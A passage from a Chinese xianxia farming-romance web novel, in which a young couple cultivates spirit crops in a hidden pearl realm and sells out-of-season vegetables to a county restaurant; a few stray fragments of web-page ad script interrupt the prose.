另一边,柳芸香也正为栽培灵植做准备。 她把书里关于青竹米的记载翻来覆去看了好多遍,确定没有遗漏,才决定动手。 山谷周围一座座高山,都是药仙谷的灵田,从山脚往上,被开垦成一阶一阶的梯田,越往上,灵田等级越高,灵气越浓郁,适合栽种的灵植等级自然也越高。 柳芸香如今要种青竹米,只需使用山脚下的灵田即可。 不过,即便都是位于山脚下,灵田跟灵田之间也是不同的,有的富含水灵气,有的富含火灵气,要是将灵植种到属性不符的田里,别说栽培成功,恐怕连芽都发不出来,还有可能使原本纯净的灵田受到污染。 总之后果严重,由不得人不小心。 柳芸香站在几块灵田之间,以肉眼实在分辨不出它们的区别。 她尝试着席地而坐,闭上双眼,细细感受身边吹过的风、洒落下来的阳光,以及周围泥土的气息…… 不知过了多久,她似乎体会到了一些微妙的区别,如书中所说,水灵气平和温润、木灵气生机勃勃、土灵气厚重包容,更有金灵气变幻莫测、火灵气热情活泼,它们好似一群性格各异的孩子,在她身旁徘徊嬉闹。 “找到了。”柳芸香睁开眼,眼里含着笑意。 她站起身,向左手边一块灵田走去,这就是她要找的富含水灵气的灵田了。 从怀中掏出一个小布袋,由于是初次试种,她谨慎地只取了五十粒种子。 小心翼翼把种子按照记载的方式种下去,之后一段时间,柳芸香只要在珠界内,就守在这一小块灵田旁,连看书也坐在田埂上看。 在她时刻紧盯下,数日后,灵田里终于冒出一点绿意。 就在这些幼苗破土而出的瞬间,柳芸香感受到一股与水灵气相似,却又有些不同的气息,似乎更加柔润,更沁人心脾。 她心里一喜,知道这就是自己需要的菁纯水灵气,忙在田边坐下,收敛心神,默念《怜青诀》口诀。 一丝细微的灵气,摇曳如风中柳条,飘飘忽忽向她靠近,在周身转了几圈之后,钻入头顶百会穴,又沿着经脉,连通一个个穴道,最后投入丹田。 柳芸香再睁眼时,只觉心神动荡,方才那一缕细小的菁纯水灵气,是她引气入体的初始,也意味着,从此她便走上了一条与寻常人截然不同的道路。 那或许是条通天坦途,也或许是危机重重的断头路,然而奇异的是,凡事一向求周全稳妥的她,却没有因为这份未知而心生退缩。 脑中思绪众多,待回过神来,发现梁青山正半蹲在旁边,满脸关切地看着她。 柳芸香一愣,又笑道:“别担心,我没事,说起来是好消息呢,方才我已经引气入体了。” 不过,这才只是刚开始,若要踏入炼气期,还得凑齐五种属性的菁纯灵气,而且这回种的青竹米太少了些,既然试种成功,之后就可以多种点了。 “真的?太好了!咱们今晚吃肉庆贺一下!”梁青山大喜。 他的算盘打得太响,柳芸香想当没听见都不行,“是为我庆贺还是为你嘴馋?” 梁青山笑嘻嘻道:“一样的一样的。” 都是为了吃肉嘛,不寒碜。 5. 第 5 章 005 这几日,柳芸香的心思全在灵田上,没怎么留意梁青山那边的情况。 眼下青竹米发芽成功,放下一桩心事,她才发觉,溪边的荒地已经大变样子。 那块两亩大小的地被分成两半,其中一半是旱田,另一半则挖通沟渠,从小溪里引水灌溉,改造成了水田。 此时田间畦棱整齐,土壤湿润,不见一丝杂草石块,俨然是上好良田的模样。 对着自己这段时间的劳动成果,梁青山颇为自豪,“马上就可以播种了,那一亩水田种稻谷,至于旱田,一半种菜,还有一半种果树怎么样?芸香你喜欢吃什么果子?明天我去后山挖几棵树苗回来,要是喜欢花,咱们也种点桂花栀子什么的。” 听他滔滔不绝讲着自己的计划,柳芸香侧头看去,原本就有几分消瘦的人,这段时间干多了力气活,更显得黑瘦,若不是个子够高,又有宽肩大骨架撑着,恐怕衣服都挂不住。 她有些心软,柔声道:“先把那些活儿放一放吧,我见你最近累得狠了,很该歇一两日,让身体缓一缓才好。” 梁青山听得心里别提多美,拍着胸膛乐滋滋道:“有媳妇儿你关心,我现在一点都不累,浑身都是力气!” “又说胡话,”柳芸香轻嗔,“不是说想吃肉了?走吧,出去给你做。” “好嘞!” 隔日两人便歇在家中,没有进山。 上午吃过早饭,柳芸香把之前去镇上买的棉花翻出来,开始动手改冬衣。 将旧衣里板结发硬的旧棉絮取出,换上柔软蓬松的新棉絮,那旧棉花也不扔,等天气好的时候晒一晒,还能用来做褥子。 只是才将梁青山的旧衣拆开,柳芸香就发现,那衣裳的袖子和裤脚都短了一大截,不由惊讶道:“你这一年里长了这么多么?” 这身衣服要是穿在身上,怕是小腿都能露出半截来,粗粗一算,人高了有五六寸。 梁青山正在边上编草鞋,闻言摸摸鼻尖,嘿笑着不大好意思道:“这衣服是奶奶在的时候替我做的,前年就短了。” 也就是说,他有两三年时间,都穿着短了一截的旧衣,家里也没人想过为他做身新衣。 柳芸香记得,梁家奶奶去世已经五年了,想来老人家也知道孙儿在家中的处境,所以去世前,仍不忘为他准备好能穿几年的衣物。 她想起了自己母亲,也是如此一片慈爱之心,病中还担忧她往后饥寒困苦,如今她身上穿的,就是母亲那时候做的衣裳,因这几年并未怎么长个,穿着还算合身。 忆起母亲的音容笑貌,柳芸香神色有些怔忡,梁青山见状靠过来,轻握了下她的手,担忧道:“怎么了?” 柳芸香刚要说没事,忽听门外响起一道声音。 “呦,小夫妻俩这是做什么呢?我来得不巧了。” 转头一看,原来是大堂嫂周月华挎着个布包袱,站在门外揶揄地看着他们。 “嫂子来了,快进来坐。”被人撞个正着,柳芸香忙红着脸站起来。 周月华笑盈盈走进来,拉过柳芸香的手,故意对梁青山道:“青山,弟妹这样好,可不许你欺负她,不然,我跟你大哥头一个不同意。” 梁青山赶紧摆手:“没有的事,我欺负谁也不会欺负她!” 周月华噗嗤一声乐了。 柳芸香面上越发烧红,知道周月华有意打趣他们两个,便低声对梁青山道:“嫂子难得来一回,你去烧水泡碗茶来。” “诶,好。”梁青山听话地去了。 周月华笑得直摇头,“我算是看明白了,就青山这样子,的确是欺负不了弟妹的。” 柳芸香抿唇轻笑:“嫂子就爱拿我们逗趣。” 二人说笑一回,周月华将手中的布包袱递过去,道明来意。 “这是你们大哥昨晚带回来的,你也知道,他虽在布庄做事,却只是个芝麻绿豆大的小管事,好东西到不了他手里,只能带回些别人不要的零碎布头。都是些不值钱的玩意儿,我厚着脸皮送来,弟妹可不要嫌弃。” 闻言,柳芸香正色道:“嫂子何必说这些寒碜话,我跟青山若是那等不知好歹的人,也不值当兄嫂满心惦念。” “好!”周月华爽利一笑,“就晓得弟妹是个实在人,我便爱和你这样的人来往。” “那嫂子往后可要常来。” “一定一定,哎呦,可惜今儿家里还有些事,不然定要跟弟妹好好说说话。” “这便要走了?好歹喝杯茶吧。”柳芸香出言挽留。 “不了不了,改日再来叨扰。”周月华边说,边风风火火往外走。 柳芸香留她不住,只好一路送出门外,目送对方走远,才关上院门回转。 那布包袱有小孩环抱大小,虽说是些布头,但柳芸香打开来看,发现并不算太零碎,大的有一尺见方的,拿来缝个枕头也够了,有几块略小些,但颜色鲜亮,可以绣张手帕,或者缝个荷包,再小些的还能用来打补丁、糊鞋底。 这一包布头,若到布庄去买,得不少银钱,并非周月华口中不值钱的玩意儿。 “咦,大嫂走了吗?”梁青山从灶房探出头。 “嫂子家里还有事,便先走了。你瞧,这都是她方才送来的。”柳芸香示意他来看。 梁青山过来瞧了瞧这堆五颜六色的布头,倒不怎么稀奇,“青河大哥在县里许家布庄做事,定是他带回来的。” 柳芸香点了点头,虽成亲没多久,但她知道,梁家族人里,最关心她跟梁青山的,当属大堂伯一家子。 其中,两人的亲事是大伯娘促成的,而今居住的这间小院,原属于族产,是大堂伯做了主,借给他们暂住,乃至大堂哥大堂嫂,也都对他们颇多照顾。 这份心意,两人记在心里。 之前柳芸香还苦恼梁青山的衣服短了,眼下有了这些布,正好可以从里头找些颜色相近的续上去。 她花了一日功夫,将两人的冬衣改好,至于梁青山,当天下午就闲不住,问过柳芸香喜欢吃什么果子后,便跑山上挖树苗去了,傍晚才带着两株半人高的桃树回来。 夜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里进了珠界,两人合力把桃树种下。 梁青山又拿出前些天粮店买的稻种,用布袋子装了浸到溪水中,待种子发芽,就可以撒到田里育秧。至于菜种,倒是不用去买,村里家家户户都有留种的习惯,去跟邻居们讨几粒就行。 山脚下那片灵田,柳芸香种下的五十粒青竹米,共长出了四十六棵苗。 这些苗儿如今都有手掌高,她每日坐在灵田边打坐一回,便能吸收一缕头发丝那么细的菁纯灵气。 之后柳芸香追种了五百颗青竹米,确定发芽率仍在九成以上后,她决定开始栽培第二种灵植。 《怜青诀》功法特殊,修炼者从始至终所吸纳的灵气,都是由灵植产生的菁纯灵气,虽修行过程要比其他修行者繁琐,进度堪称缓慢,但修炼这门功法,有一个旁人绝没有的好处——几乎没有瓶颈。 只要能种出灵植,只要能吸收足够的菁纯灵气,就能持续进阶。 柳芸香此刻还不知道这一点意味着什么,也不晓得即便是在某些灵气充足的大千世界,这门功法也足以掀起一阵腥风血雨。 她这会儿正在想她的第二种灵植。 如今她已引气入体,但若想踏入炼气期,须得集齐金、木、水、火、土这五种菁纯灵气。 由于所选第一道灵气为水灵气,根据五行相生相克的道理,第二种灵气,最好是木灵气。 柳芸香将《灵植全考》中,处于不入品阶等级,且属性为木的灵植都看过一遍,最终选定了虎筋草。 一来虎筋草不娇气,容易成活,二则是看中它强筋壮骨的功效,梁青山的药浴方子里,有一张便需要这味灵药,正好种下以备不时之需。 虎筋草的种子比青竹米小得多,如灰色小芝麻粒般不起眼,柳芸香小心翼翼地同样数出五百粒,撒到富含木灵气的灵田里。 好在如青竹米、虎筋草这类不入品阶的灵植,在修真界十分常见,向来是由宗门杂役弟子负责耕种,并不需要多少栽培技巧,以至于她这样的生手,照着书上的法子照本宣科,也能屡屡成功。 等待虎筋草发芽的日子,那两株桃树先开花了。 外界已经入冬,桃树被挖回来的时候,叶子都掉光了,整棵树光秃秃的,此时树上却钻出一颗颗花骨朵,还有几朵粉色的小花颤颤巍巍立在枝头。 两人站在树旁欣赏了好一会儿,梁青山期待道:“它们能结桃子吗?” 之前在山里打柴,他们曾发现一处热泉眼,泉边就有一株桃树,在深秋里开了花,只是到底时节不对,花谢了之后并未结果。 柳芸香点点头,“想来是能的,珠界内节气与外界不同,四季如春,这桃树在暖和的日子里蓄积了足够的力气,自然便能结出桃子来。” “那过不了多久你就有桃子吃了。”梁青山一脸高兴。 桃树从开花到果子成熟,大约需要三个多月,这是珠界里的时间,换成外头的,也就十多天而已。 这是他亲手挖回来,亲手种下的桃树,到时候一定要亲手摘下桃子,再亲手喂给媳妇儿吃! 6. 第 6 章 006 入冬之后,接连下了几场雨,道上泥泞湿滑,不宜再进山。 柳芸香跟梁青山花了更多功夫在珠界里,山谷中一日一个变化。 那两株桃树,花期过后结满了青涩涩的小果子,因长得实在太多,两人担心以后桃子个头不大,还给还疏了果,每根枝条只留两三枚小桃子。 这些逆着时节蓬勃生长的桃子,给了柳芸香一点提示。 她问梁青山:“你可听过‘暖洞子菜’?” “暖什么?”梁青山一脸茫然。 柳芸香解释道:“是我从前闲来无事,翻阅杂书时见到的。因冬日天寒,缺少新鲜蔬果,便有人想出个法子,在屋子里种上韭黄、黄瓜之类的菜蔬,通过昼夜烧炭燃火,使屋内始终保持暖和。这样种出来的菜,就叫暖洞子菜,据说售价高昂,十分受富贵人家喜爱。” 梁青山听得龇牙咧嘴,一整个冬天日夜不停的烧炭,得烧掉多少银子?有钱人还真是能折腾。 不过他很快反应过来柳芸香的意思,“你是说,咱们在这混沌珠里头种了菜,可以拿出去当暖洞子菜卖?” 柳芸香轻轻颔首,“这样一来,你那药浴方子的钱想来不久就能凑齐,只是……村里这么多人,咱们拿了东西去售卖,总要过人的眼,又该用什么说辞?” 梁青山感动了,这些天忙下来,他自己都快忘了药浴方子的事,媳妇儿还替他记着呢! 见柳芸香为难,他绞尽脑汁使劲地想,终于灵光一闪,从犄角旮旯里找出个办法。 “这样,咱们先前不是在山里发现一处热泉眼了么,既然泉边上的桃树能在深秋开花,那种点菜肯定也是能种活的。等混沌珠里头的菜熟了,我就假装从山上挑下来,旁人问起,就说是山里头种的。” 柳芸香思索着道:“要是有人特意找到那处泉眼查看呢?” “那我就说我是在别个泉眼边上种的,反正山里那么广的地界,谁也不敢说全部走过,有不止一个热泉怎么了?”梁青山满脸无赖。 他们岭内村后头的葫芦岭,岭上山地、树木都是有主的,之前柳芸香跟梁青山打柴,只能越过葫芦岭,往更深处走。那一片山脉延绵不绝,高.耸险峻,据说山中还有老虎、熊等猛兽出没,两人所谓的深处,其实也只在山脉外围打转,真正深处到底什么样,谁也不知道。 梁青山说的法子,倒还真的可行。 他又摸着下巴想了想,说:“既然暖洞子菜卖得那么贵,就凭镇上那点人,大概没几个买得起,不如直接卖到县里去,到时候可以找青河大哥帮忙打探一下。” “也好。”柳芸香点点头,能买得起这等菜的,要么是富贵人家,要么是大酒楼,他们势单力薄,贸贸然找上门,恐怕会被狠狠压价,若有熟人牵线再好不过。 “就这么说定了!”梁青山顿时满身干劲。 本来他打算种点南瓜、萝卜、豆角什么的,但是听媳妇儿说,有钱人不爱吃这些,他们爱那鲜嫩.嫩的豌豆尖、爱头顶黄花身上带刺的小黄瓜、爱嫩甜娇黄的黄芽菜…… 梁青山一面嘟嘟囔囔有钱人就是难伺候,一面到处找菜种去了。 等他终于把几畦菜地都种上,旁边水田里,秧苗也到了能插秧的时候,这关系到以后两人能不能天天吃上精米白面,梁青山十分重视,当下马不停蹄又扎了进去。 稍远处山脚下,柳芸香种下的青竹米已长到小腿高,据说这种灵谷完全成熟时,植株比人还高些,收获的时候,得像摘果子似的,踮着脚尖才能摘下上面的谷粒。 虎筋草也发了芽,因个头矮小,又爱贴着地面长,猛一看像张毛绒绒的绿色小毯子,倒有几分可爱。 柳芸香并不急着种第三种灵植,这两样已经够她忙活了。 也不知怎么回事,原先没种什么的时候,灵田里空空如也,只有黑黝黝的土壤,等她种了灵植,杂草长出来了,吃叶子的虫子也冒出来了,她只好忙着除草捉虫。 好在好处也是有的,如今她每日能吸收两缕菁纯灵气,一缕水灵气,一缕木灵气,虽外表看不出什么变化,但每次修炼完,都有种神清气爽的感觉,身上的疲劳一扫而空。 只是丹田内灵气实在太少,书上说的那些神通法术,都还施展不出。 不过,她对此已经十分满意了。 尝到了好处,她便想让梁青山也早日开始修炼,药浴的事一时急不得,倒是可以先教他认字。 于是,刚忙完地里的活,没等歇口气的梁青山,就被一道惊雷劈在头上。 “识字!我?!” 他都十八岁了,吃完了种地的苦,又要吃读书的苦了吗? 柳芸香便温声劝道:“总要认几个字,日后才好看懂修行功法。” 听着好像很有道理……但其实梁青山想说,那什么功法看不懂,可以让媳妇儿念给他听嘛。不过看了看柳芸香满眼期待鼓励的神色,到底没说出口,算了,反正媳妇儿的话总是对的,就听她的吧! 没有笔墨纸砚,柳芸香便以平整的地面为纸,以树枝为笔,道:“我们先学你的姓名。” 梁青山却说:“先教我认你的名字吧。” 柳芸香微愣,笑着点了点头,“好,那先从我的开始。” 她的名字是她爹取的,柳秀才一辈子跟书打交道,连给女儿取名,也与书相关。 芸香本是一味药草,因气味浓烈,可做书籍防虫之用,因此,人们最早所说的书香,其实便是芸香草发出的味道。 梁青山听得直点头,心道老丈人果然是读书人,连取名都这样斯斯文文,不像他们村里人,男孩都叫石头、虎子,女孩叫个大丫二妞的。 柳芸香将自己的名字写下,又并排着在边上写了梁青山的名字,说:“我们今天只学这六个字就好。” 梁青山闻言大喜,他还以为得像私塾里那样一坐一整天呢,原来只用学少少的六个字,那还不是毛毛雨,小意思? 等轮到他拿着树枝,在地上比划的时候,梁青山傻眼了。 这这……这地上歪七扭八,像蚯蚓乱爬,又像蜘蛛网一样的是什么?他绝不承认那是他写的字! 柳芸香掩口轻笑,不忘安慰他,“初学者能将比划写顺已经很不易了,别着急,多练几遍就好。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >梁青山大受打击,把他自己名字写得不堪入目也就罢了,连媳妇儿的名字也被糊成一团,这怎么能行? 他心里燃起熊熊斗志,不就是多多练习么,还不信他这么大块头拿几个小小的字没办法,练! 从此,他一边种地一边识字,两头吃苦的日子开始了。 虽说外头天寒地湿,但梁青山还是时不时扛着锄头往山上走一趟,毕竟不久后要拿热泉种菜当借口,总要做个样子给人看。 等混沌珠里第一批菜即将成熟时,梁青山找了个大堂哥回家的日子上门去。 梁家大房还未分家,两个儿子跟父母住在一块,儿子们成家后又各自养育了孙儿孙女,一大家子热热闹闹的。 梁青山进门,先跟大伯大伯娘问好,再和二堂哥闲聊几句,然后从兜里掏出熟板栗散给侄儿侄女们,最后才跟大堂哥到一旁说话。 梁青河年近三十,是同辈人里最年长的,做事素来稳重,眼下见这个堂弟神神秘秘找来,也不见什么诧异神色,只道:“可是日子有什么难处?” 梁青山摆摆手,“没什么难处,好着呢,就是有点事想托大哥问问。” 他把自己瞎编的那套,在山里热泉边上开垦种菜的话搬出来。 “现在有些菜快熟了,想请大哥在县里帮我问问价。” 梁青河意外地看了他一眼,虽说他只是个布庄小管事,但在县里多年,眼界自然非一般乡下人能比,几乎立刻就想到了这些菜的价值,面上神色也郑重起来。 “你都种了哪些菜?长势如何?每日能供应多少?可连续供应多长时间?”他问了几个问题。 梁青山抓抓脑袋,心道幸好媳妇儿早有预料,出门前都和他说好了,不然一问三不知。 “只种了豌豆、黄瓜、黄芽菜这几样,现在能摘的是豌豆尖,另外两种得过两天。豌豆尖一天能摘五六斤,等三种菜都成熟,每天总共能摘个二三十斤吧,供到过年不成问题。” 其实珠界里瓜菜长势非常好,几乎一天一个样,有些爱爬藤的,一晚上就能爬得到处都是。 不过既然对外说是种在热泉边上,小小一块地种不了多少,他只好把产量往低了说。 即便如此,也足够让梁青河惊讶。 他思索一番,缓缓道:“这几样菜都算金贵,就是卖给大酒楼也拿得出手。我跟县里隆兴酒楼的管事有点交情,你要是信得过,我就去替你谈谈。” 梁青山直接道:“说什么信得过信不过,大哥愿意把这事揽下,我高兴还来不及嘞。” 梁青河听了也高兴,拍拍他的肩,“这几次见你,比从前精神不少,还学会了打算,成亲娶了媳妇就是不一样。” “那是!”梁青山顿时滔滔不绝起来,“自从成了亲,我媳妇儿对我可好了,就是她告诉我种什么菜值钱,我媳妇儿要我爱惜身体,不要太过劳累,我媳妇儿还教我读书认字,我媳妇儿给我做香喷喷的饭菜,我媳妇儿……” 梁青河原本还认真听着,慢慢就陷入了自我怀疑中。 眼前这个只会我媳妇儿我媳妇儿的家伙,确定是他堂弟,而不是一只应声虫吗? 7. 第 7 章 007 梁青河将事情揽下后,第二天就带着隆兴酒楼的回复来找梁青山。 “这是契据,你若同意,他们会预先支付五两订金。” “这么快!”梁青山十分惊奇,继而不解,“就卖个菜而已,怎么还有契据?” 他虽学了几天字,但想看懂契据上的内容还差得远,扫了一眼便递给柳芸香。 柳芸香接过细看,那契据上也没说旁的,只写明了收购价钱、如何结算、多少定金等等,却在最后提及,梁青山不得将所种菜蔬再卖与旁人,否则当以违约而论。 她看完略一想便明白了,隆兴酒楼所定的收购价格,比她所知的暖洞子菜价钱还高些,而对方之所以愿意付出高价,恐怕是想做独门生意。 “请问大哥,这隆兴酒楼近日可有什么大事?” 若非如此,柳芸香觉得,就凭他们这一点菜,即便难得,但大酒楼里的掌柜、管事,见过多少世面,过手多少银钱,何必巴巴地就立下契据来? 闻言,梁青河颇有些惊讶,这位新过门的弟妹,他总共没见过两次,又顾及彼此身份,不敢细看,只隐约有个印象,是个文静秀气的姑娘,却没想到对方这样聪慧。 他微微颔首,索性从头说起:“不止隆兴酒楼,算起来,这也是咱们安阳县的一件大事。你们知道,我在许家布庄做事,许家是县里延续几百年的大家族,家中世代有子弟读书举业,这一代许家二老爷,更是官至六品翰林,二老爷的母亲,受朝廷封六品安人。下月初八,正逢许老安人七十岁大寿,许家已放出话来,要大办三日流水宴,凡诚心贺寿的,都可以上门饮一杯水酒。” 梁青山听了这一大段话,早就没耐心了,见他停下来,立刻追问:“这跟酒楼给我们立契据又有什么关系?” “昨日才说你成亲长进了,结果还是这样毛毛躁躁。”梁青河摇摇头。 “哎呀我的大哥,你就别卖关子了,快说吧。” 柳芸香在桌下轻轻扯了扯梁青山的衣袖,道:“别急,好歹让大哥喝口茶,润润嗓子。” 梁青山听了便推推茶碗,“那大哥你快喝茶。” 梁青河哭笑不得,在他的催促下端起茶碗喝了一口,而后继续道:“你想想,许家既然要大宴宾客,自家的厨子肯定不够用,得从外头请。请哪家的呢?自然是县里名头最响的那家。” 不巧的是,县里最出名的酒楼有两家,旗鼓相当,分不出高下。如此一来,两家掌柜自然要绞尽脑汁,想方设法把对手压下去,以凸显出自己来。 要知道,许老安人的寿宴,是连县令大人都要亲至的,席上随意一位宾客,在安阳县都是数得着的人物,若能得到这些人的赞赏,还怕酒楼往后没生意? 梁青山恍然,“所以现在是两家酒楼在较劲,这个隆兴酒楼怕我们被另一家拉去,这才立下契据?” “不错。”梁青河点了点头,“算起来也是碰上好时机,若是平时,对方给的价钱不会这样高。” 梁青山对于许家寿宴、两大酒楼争锋的事没有太大兴趣,只在意那些菜到底能卖多少钱,便挤到柳芸香那条板凳上,与她坐在一起,要她念给自己听。 柳芸香悄悄推他一把,低声道:“你先坐回去。” 当着大堂哥的面,怎么好这样无状。 梁青山磨磨蹭蹭的不愿意挪动。 梁青河低头喝茶,只当没看见他们的小动作。 说起来,他活了这么多年,今天才头一回喝上堂弟端的茶,以往不省心的弟弟,现在居然也有点模样了,真不容易啊。 心里感慨着,眼见茶水见底,他站起来,“我先回去了,若没有别的事,明日寅初,青山跟我一起进城。” “这么晚了,留下来用了饭再走吧。” “行,大哥慢走。” 两道声音同时响起,柳芸香与梁青山对视一眼。 梁青山眨眨眼,乖觉地改了口,“大哥吃了饭再走吧。” “你啊你,”梁青河摇头失笑,好在他也知道堂弟就是这副直来直往的性子,并不在意,“吃饭就算了,昨天才回来一趟,今天又回来,你大伯和伯娘都还疑惑呢,我回去给他们说说。对了,你卖菜的事肯定瞒不过别人,人家要是问起卖了多少钱,可别太实诚。” “放心吧,我没那么傻。”梁青山道。 两人一起送大堂哥出了门,回身后,梁青山又拿起那张契据瞅了瞅,忽然高兴道:“我也不是都没看懂,比如说这里,写的是豌豆尖每斤三十五文,对吧?” 柳芸香教他识字时,除了基本的三百千,平时见到什么也会随性教一教,比如山谷里那些菜名,他就知道怎么写,只是写得极丑罢了。 柳芸香点点头,“没错,是三十五文,酒楼给的价钱不低,往年豌豆尖初上市,价钱最高时也不过七八文,寻常时候三文钱便能买一把。” 梁青山掐指算了算,嘶了一声,“翻了差不多十倍!” 还有小黄瓜和黄芽菜,对方的收价分别为二十文、十八文,虽比豌豆尖便宜,但和正常菜价比,也是贵得离奇。 不论是寒冬时候,逆节气的菜蔬本就价贵,还是隆兴酒楼为了与对手竞争,不惜成本,他们这一方总归是受益者,感慨一番,梁青山便兴致勃勃说起拿到银钱之后要做什么。 “先买匹花布,给你做两身新衣裳,我看嫂子她们都爱在手上戴镯子珠子什么的,咱们也买两只,最后再买个大铁锅,听说铁锅做饭更好吃,嘿嘿。” 柳芸香含笑听着,待他一一说完,才道:“这些都不急,可以放一放,还是该先买齐你那药浴方子所需的药材才是正经。” 梁青山一听这话,脸就垮了下来,闷闷不乐道:“芸香,我是不是太败家了?” 要不是那药浴方子费钱,媳妇儿眼看就能过上好日子了。 “别说傻话,”柳芸香温声安慰他,“万事开头难,等我们开了个好头,以后自然都好了。” 自踏上修行之路,柳芸香便一直想着让梁青山也早日跟上来,不然,等日后她越走越远,他却依旧留在原地,到时两人又该如何自处 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ? 连圣人都说过,不患寡而患不均,古语也有言,齐大非偶。 夫妻二人,若差距太大,怕是早晚有一日要走不下去。 两人又有混沌珠这样共同的秘密和牵连,若到了反目的地步,只怕会两败俱伤。 所以,她一力支持梁青山去凑那药浴方子的钱,不仅是为他,也是为了自己。 梁青山的情绪来得快,去得也快,被她安抚两句,很快又高高兴兴讨论起明日去县城的事。 另一边,梁青河回到家中,自是与父母解释了一番,没提具体银钱的事,只说梁青山在山里种了点菜,请他帮忙牵线找个卖家。 因他在县里做事,来回不便,平日十天半个月才回来一趟,这次却接连两天回家,又行色匆匆,家里人还以为出了事,眼下知道前因后果,都松了口气。 夜里歇下,妻子周月华推推他,“你老实和我说,青山那菜卖得怕是不便宜吧?” “不过一点菜而已,能贵到哪里去?”梁青河仍是之前那套说辞。 周月华斜眼看他,“当我傻呢?要是寻常的萝卜白菜,值得你这样来回跑?” 梁青河只好道:“是比一般的菜价高些,你也知道,青山日子过得不容易,我当大哥的,能帮一把是一把。” 见他松口,周月华就满意了,也不再刨根问底,只似笑非笑道:“你要当好大哥,我自然也乐意当好大嫂,就怕家里有人泛酸,说些什么亲的不管,反而去管堂的这种话来。” 梁青河知道她说的是二弟两口子,一时沉默不语,周月华也不管他,顾自翻身睡去。 隔天,因要赶早进城,梁青山半夜就起床,背着背篓到山上走了个过场,下山回家,带上柳芸香提前准备好的早饭和水囊,出门找梁青河去了。 等柳芸香起床,发觉身边空荡荡的,一时还有点不习惯。 自成亲以来,两人日夜相对,几乎没有分开的时候。 她独自吃完早饭,把家中里外打扫一遍,拿起针线缝了几针,到底还是觉得不对,索性进了混沌珠,见到山谷里熟悉的景色,才觉得自在起来。 以往进入珠界,要么在竹庐里看书,要么在灵田边上劳作、修炼,这会儿站在竹庐门前,和风吹着脸庞,暖阳照在身上,柳芸香深吸一口气,只觉心胸坦荡,心绪宁静。 忽然就有了闲逛的心思,从书架上选了一卷书,沿着小路漫步。 经过小溪边,溪水清澈见底,小鱼在水中悠闲地游来游去,她停下脚步欣赏了一会儿,又不紧不慢踏上田埂。 田埂一边是水田,绿油油的稻秧在微风中轻轻摇摆,另一边的旱地里,早先结果的小桃子已经长到小孩拳头大小,只是表皮还青涩,一看就酸得很,旁边菜地里的小黄瓜长得倒好,藤蔓都快缠到路边来了。 柳芸香随手摘下一根越界的黄瓜,用帕子擦了擦,一边啃着,一边慢悠悠穿过这一小片田野。 再往前是道矮坡,矮坡后便是灵田,等看清灵田里的景象,她不由惊喜地呀了一声,青竹米开始抽穗了。 8. 第 8 章 008 灵田里的青竹米,已长到柳芸香胸口那样高,茎秆粗粗的,不大像稻谷,倒似一株小竹子。 几片细长的叶子包裹着一根嫩穗,黄白色小花点缀其中。 柳芸香仔细地数了数,每根穗上,都有二十五到三十个花苞,能结出二三十颗谷粒。 这样算来,青竹米的产量比寻常稻谷低许多,但想到它每个谷粒都有莲子那么大的个头,又觉得这分量也不算少了。 书上说,青竹米需要借助风力授粉,若风太小,或者恰巧无风,可用清风决引风,且其开花时间只有几个时辰,一旦错过这个时机,又不曾做好授粉,产量便会大大降低。 柳芸香微微仰着脸感受一番,这会儿是有风的,只是……这个风到底算大算小? 毕竟是新手,她有点估摸不准,按理说该用上清风决以求稳妥,可这是炼气期才能使用的法诀,至少也得要个炼气一层,体内才有足够的灵力,能够支撑一道完整的法诀,她如今还早了点。 站在田里苦思一番,柳芸香想到个主意,没有风,也没有法诀,那她自己动手,也是可以的吧? “书上没说不行,试试应该也无妨。” 她自言自语着挽起袖子,小心翼翼拉过相邻的两株稻穗,将它们凑在一块轻轻地磨蹭磨蹭,亲眼看到花粉飞起来,蹭到彼此的花苞上,才将它们放开,然后又拉过另外两根…… 将稻穗全部磨蹭过一遍,柳芸香擦着汗坐到草地上休息,好在这一批开花的,是最早种下的那些青竹米,只有五十棵,不然一个人还真忙不过来。 至于另外那五百株,算算时间,三天后也将开花,到时得叫梁青山来帮忙才行。 农人们倒是有一种赶稻花的法子,由两人拉着绳索分别走在田地两边,绳索便会在稻穗上不断掀动,将稻花的花粉扬起,以帮助授粉。 这种法子比她省事,只是青竹米比一般稻谷高得多,柳芸香担心若用绳索来赶,一不小心会将稻杆折断,不如自己动手安心些。 说到底,还是因为灵力太微薄,才有如此烦恼。 如今她照看青竹米跟虎筋草已经日渐娴熟,而且随着灵植们越长越大,杂草跟虫害对它们的伤害也越来越小了,柳芸香有了种第三种灵植的想法。 这回要种的是火属性灵植,种类她也早就选好了,是一种名叫流焰果的灵果。 书中记载,流焰果成熟后有女子拳头大小,通体橙红,隔着一层薄薄的果皮,里头的浆液好似火焰流动,由此得名。因是火属性,吃下流焰果之后,即便是在冬日,也会觉得通身暖和,长期食用,对体寒之人大有好处。 这种果子的植株能有半人高,成伞状撑开,一棵上结七至八颗果子,单株产生的菁纯灵气比青竹米和虎筋草多,柳芸香根据记载以及自身情况,估摸着种个八十株足够了。 她在灵田里劳作的时候,梁青山跟梁青河紧赶慢赶进了安阳县城。 两人寅初从岭内村出发,闷头走上大半个时辰,赶到南平镇。镇上有人专门养了马,每日拉车往返安阳县城,车资一趟五文钱,人凑齐了就走,若去晚了赶不上,只能靠自己两条腿了。 七八个人挤在没有车厢的马车上,倒是不冷,只是气味不太好闻。 梁青山从衣服里掏出两个箬叶包,递了一个给梁青河,“大哥,吃饭。” 梁青河摆摆手,“你嫂子也给我带了。” “先吃我这个,你的留着当午饭。”梁青山直接塞进他手里。 昨晚得知两人今日进城,柳芸香就在想要准备什么食物做早饭。 除了梁青山的,也得为梁青河准备一份,大堂哥是为了他们的事,才特意跑这一趟,若她只做自家人的饭,也太不懂事了些。 既然要给客人吃,就得更加用心。 只是家里东西实在有限,之前抓的野兔早就吃完了,天色太晚,来不及去买肉,只能有什么做什么,又因没有铁锅,做不得烙饼之类的干粮,思来想去,最终选择了蒸菜团子。 到珠界里摘了最鲜嫩的豌豆尖,焯水后攥干水分,切成碎末,拌上香醋、盐、香油,捏成一个个小团子,在面粉里滚一遍,捞起来沾点水,再滚一遍面粉,如此反复几次,直到菜团子外面均匀裹满面粉,最后下锅蒸熟。 